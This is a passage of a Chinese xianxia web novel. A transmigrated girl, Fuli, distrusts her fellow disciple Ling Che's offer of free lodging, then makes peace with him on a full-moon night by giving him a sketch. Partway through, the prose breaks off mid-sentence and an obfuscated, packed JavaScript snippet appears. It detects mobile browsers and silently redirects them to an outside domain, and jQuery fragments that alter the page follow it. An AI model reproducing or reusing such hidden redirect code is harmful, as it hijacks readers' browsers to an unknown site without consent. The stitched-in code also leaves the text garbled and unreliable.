搬出去……
凌彻想起了他刚置办好的院子还空着两间厢房,然而刚想开口,就听见了松年的声音。
“那你搬来和我住吧,我那还有一间空房,你来了还能帮我分摊房租。”松年越说越觉得靠谱:“我们不是要做那什么机嘛,住在一起也方便沟通。”
“行啊!”芙黎一口应下,又不好意思道:“不过我现在没什么钱……”
凌彻:“……”
没记错的话他搬过来还不到一天吧?结果芙黎就要搬走和别人玩去啦?
“没事,我先垫着,等咱们赚钱了你再还我。”松年挠挠头,略显窘迫,“不过有个事我得和你坦白。”
坦白?
这词用得有点重啊!
芙黎和凌彻顿时坐直了身体,严肃地等着下文。
松年又挠了挠头,脑袋上的混元髻都被他挠松了一大块,“其实我资质一般,只会做我见过的东西,你说的那个手机,我未必能做出来……”
器修和符修同理,首先要做到心中有物才能造物,只是器修更需要想象力,才能创造出新的灵器,如松年这般想象力匮乏的,顶多只是个手艺人。
芙黎:“那我像之前一样,画成图给你呢?能做吗?”
“可以啊!”松年挺了挺脊背,“我不是说了吗?只要我见过就能做,你只要画得足够细节,我就能做出个一模一样的。”
懂了,人形3D打印机。
芙黎耸了耸肩,“那还有什么好担心的?”
芙黎漫无目的地盯着车厢一角发呆,不知道是玄三宫的弟子人均画风清奇,还是只有她这几个伙伴奇怪得尤为突出——
玩不明白火还非得修医道的极品水灵根。
毫无创造力只会一味打螺丝的器修。
还有身边这个明明可以去玄二宫吃香喝辣,却偏偏要拖关系进玄三宫的猛男……
“芙黎。”
“芙黎……”
“发什么呆呢?”松年的手在芙黎眼前晃了晃:“喊你半天了,那就这么说定了,我明天一起床就来帮你搬家。”
“啊?”芙黎收回思绪,“好。”
“不过我那里的条件不如少阁主家,你不介意吧?”
“怎么会?你是不知道我原来住的,都没他们前厅大的地方,还得和其他三个人同住!”
“真的假的?你以前过得这么惨?”
“对啊,就这条件我还住了四年呢!”
大学宿舍听了想打人……
*
马车缓缓停下,三人陆续从车上下来,默契的不等阮家那对预备役道侣就进了山门。
符器二人组叽叽喳喳地边走边聊,一直插不上话的凌彻憋了一路,直到来到通往松年家的路口时,凌彻才轻咳一声。
“那个,其实你们可以搬来和我同住。”凌彻像中介一样介绍着他那院子的优点:“我那还空着两间房,地方也宽敞,都是独立的厢房,我们住一起也能互不打扰。”
凌彻顿了顿,扔出王炸:“而且你们知道我的引荐人是……嗯,所以你们不用考虑房租,我包了。”
松年高兴地跳了起来:“真的?”
芙黎却是眸光一沉。
她穿越前可是在华夏生活了二十多年且土生土长的华夏小孩,反诈意识强到可怕!
从小就被家长耳提面命最不能相信的三件事——
天下没有免费的午餐。
天上不会掉馅饼。
天上天下都没有无缘无故的爱和恨。
结果眼前的少年在几个时辰内就库库干了两件。
虽然在原文里玄三宫弟子是良不是狼,但只是针对原文剧情划分出的无关人员,又不是绝对的纯良无害。
原世界里有多少妇女儿童就是因为没抵挡住糖衣炮弹的诱惑才……
更何况凌彻还是能瞬秒高安悦的武修猛男……
芙黎:“你图啥?”
凌彻懵了,他完全没想过芙黎会是这种反应。
就在气氛逐渐僵凝的时候,松年打了下芙黎的胳膊,“你傻啊?这不明摆着吗?他想贿赂我们!”
“封口费对吧?”松年双手在嘴巴前比了个“叉”,对凌彻保证道:“你放心,我绝对不会告诉别人你就是传闻里的那个大人物的!”
凌彻眉梢一挑,哦,原来我是这个意思!
芙黎却执拗地看着凌彻,要一个肯定的答案:“是这样吗?”
迎着芙黎依旧警惕的眼神,凌彻忽然有些泄气。
他放弃了松年的说辞,选择实话实说:“我以前只顾着修行没什么朋友,也不知道怎么和朋友相处,就觉得你……们需要的东西恰巧我有,那我就给你们,就这么简单。”
说着说着凌彻都生气了:“我不明白我究竟哪里做错了?同样是让你搬过来,为什么你不怀疑他偏偏就怀疑我?”
活了两辈子第一次被人质疑,火气烧光了凌彻的理智,他流马都不要了,直接转身大步离开。
“啊这……你……我……”
松年一路小跑地追了上去,然而不仅没追上还亲自证明了器修确实孱弱。
松年原路返回,一边大口喘气一边问:“是啊,你为什么不怀疑我?”
“……”
你这平平无奇的弱鸡穷鬼器修有哪一点值得怀疑?
*
是夜,前厅。
凌彻坐在圆桌边,用竹片有一搭没一搭地拨弄着油灯灯芯,室内的光就像他此刻的心情一样,忽明忽暗。
前世漫长的修真岁月,他从来没有哪一刻像现在这样迷茫,哪怕是到了修行的尽头,他的规划也极度清晰——突破不了就陨落。
然而重活一世,他总是在好心办坏事,关键高高在上了一辈子的他还想不明白问题出在哪……
凌彻用舌尖顶了顶腮,交朋友要是和修行一样简单就好了,可能他就是那种只会死修行的废物。
“笃笃。”
敲门声响起,而后传来芙黎的声音。
“凌彻,你睡了吗?”
“吱呀。”
凌彻把门打开,那张笑容灿烂的脸就映入他的眼眸。
芙黎没事人一样指着天空,笑嘻嘻地解释来意:“今天满月,正是吸收太阴之力的好时候,我想约你一起打坐。”
“你?”凌彻瞧着她仍旧绑在拐杖上的左腿,“能打坐?”
打坐对修士来说是最基础的吐纳灵气的修行方法——修士通过打坐导引灵气涤荡周身,可将外界的灵气贮存丹田,而后炼化成自身的灵力。
方法很简单,第一步只需要盘腿而坐。
“……”芙黎的笑容僵住,“残疾人的事你少管,你出来,我表演给你看!”
凌彻出了屋子把门合上,转身就见芙黎从芥子囊里拿出两个蒲团,并排放在院子中央。
芙黎自顾自地解开用来固定左腿的绷带,把拐杖往地上一扔,而后弯下腰,连挪带爬地坐到右边的蒲团上,她自然地曲起右腿,再手动将左腿盘在右腿上。
凌彻顿时地铁老人看手机,“你平时打坐都这么……不方便?”
“没啊!我以前……”
‘从来不打坐’这几个字差点脱口而出,芙黎就着口水把话咽下,“以前……没瘸的时候挺方便的,我这不刚瘸没多久嘛,还不太习惯。”
凌彻低声笑了,她总是有那么多歪理。
芙黎拍了拍旁边的蒲团,“快坐下,月华正浓,别浪费了!”
说完,她便装模作样的手捏子午诀放到小腹前,慢慢闭上双眼。
凌彻坐在一旁安静地看着她演。
昔日的剑修第一人怎么会不清楚灵脉是一个整体,然而灵脉受损的人即使打坐吐纳,根本没办法让灵气在体内运转完成大周天。
总而言之,芙黎在康复之前,任何修行法门都是在做无用功。
但凌彻完全不想拆穿她。
在打开门看到那张笑脸的瞬间,凌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314605|182926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
彻就完全不生气了,反而还责怪自己下午太冲动,不该转身就走。
“凌彻。”芙黎闭着眼,嗓音如月光一般柔和,“其实我是来道歉的,我这个人吧,戒心重,你身手了得,长得又帅,还有那样的大佬做靠山,却愿意和我这种人做朋友,还对我那么好,这种我做梦都不敢想的好事竟然真的发生在我身上,我也有些转不过来,总之今天的事是我不对,不该怀疑你的好意,对不起。”
直白的道歉让凌彻心尖一颤,他双手拽着蒲团的边缘,有些不知所措。
“我也是第一次和你这样的大佬做朋友,哪里知道你们对朋友出手都这么阔绰?”芙黎轻轻地扯了扯凌彻的衣摆,“你别生气了好不好?我家乡有好朋友吵架不过夜的说法,马上就子时了,你就原谅我这一回呗!”
好朋友……
或许是吸收了太阴之力的缘故,凌彻一颗心柔软得一塌糊涂,喉头莫名一动。
“我没生气。”
芙黎双眼放光,“真的?”
“嗯。”
“大气!”芙黎冲他竖起大拇指,“我和松哥商量过了,明天我们就搬过来,只是我们确实给不起你这儿的房租,不过我们会帮你做家务或者跑腿什么的,等我们以后有了收入再补偿你。”
凌彻正想拒绝,但对上她认真的眼神,就只好点头应下。
“哦!差点把正事忘了。”芙黎从芥子囊里拿出一卷纸递了过去,“这个送你,我没钱给你买乔迁礼就画了副画,你别嫌弃哈!”
【凌师兄,我是玄三宫的芙黎,听说你拿了五州大比个人战的头名,我托人做了把剑送你,图样是我自己画的,你别嫌弃哈!】
记忆深处的声音忽然响起,凌彻怔愣地看着芙黎,在她的脸旁仿佛出现了另一张与她五官相似却更加成熟的脸。
两张脸渐渐靠近,合二为一,重叠成此时此刻月色下笑容肆意的少女。
“愣着干嘛?”芙黎催促道:“快打开看看啊!”
凌彻抿了抿唇,小心翼翼地展开画纸——
黑与白的炭笔素描,描绘出一个身穿黑色劲装的少年背影,少年马尾高束,腰细腿长,手里握着银枪,枪头直指对面恶犬的咽喉。
恶犬巨大的身躯占据了三分之二的画面,它张着血盆大口,面目狰狞,但银枪枪头那处的光影处理相当精妙,让人在看到画卷的第一时间就能准确地看出谁强谁弱。
凌彻自然知道她画的是什么,不禁失笑,“这疯狗是高安悦?”
“对,不过是一些巧妙的艺术手法啦!”芙黎也笑,“画得怎么样?还喜欢吗?”
下午凌彻失望离场,芙黎看着他的背影顿时就想起那天在藏书阁前,也是这个背影挡在她身前教训没事找茬的高安悦。
假如那天凌彻没像天神下凡一样挡住高安悦会怎么样?芙黎不知道,毕竟人类没办法理解疯狗的思维。
也是那时芙黎才真正意识到,她真该死,竟然怀疑一个三番两次帮助自己还不求回报的人。
嗯,都怪原世界的反诈宣传太到位……
“喜欢。”
轻飘飘的两个字拉回芙黎的思绪,“喜欢就好,那今天的不愉快就一笔勾销啦!”
“嗯。”
凌彻重新卷起画纸,小心翼翼地塞进衣袍中,他打算明天去买个画框裱起来。
凌彻抬头看向高悬于夜空之中的圆月,随口道:“今晚的月色……”
!!!
才解除没多久的反诈警报又响了起来,芙黎脊背发凉。
不是吧不是吧?不会是她想的那句烂大街的土味情话吧?
这小子对她那么好,难不成是因为……
凌彻低下头,继续道:“的确适合打坐吐纳。”
芙黎:“……”
“怎么不说话?在想什么?”
“我太自信了,自信到都敢肖想那种美事的地步,看来家乡的反诈宣传做的还不够到位。”
“???”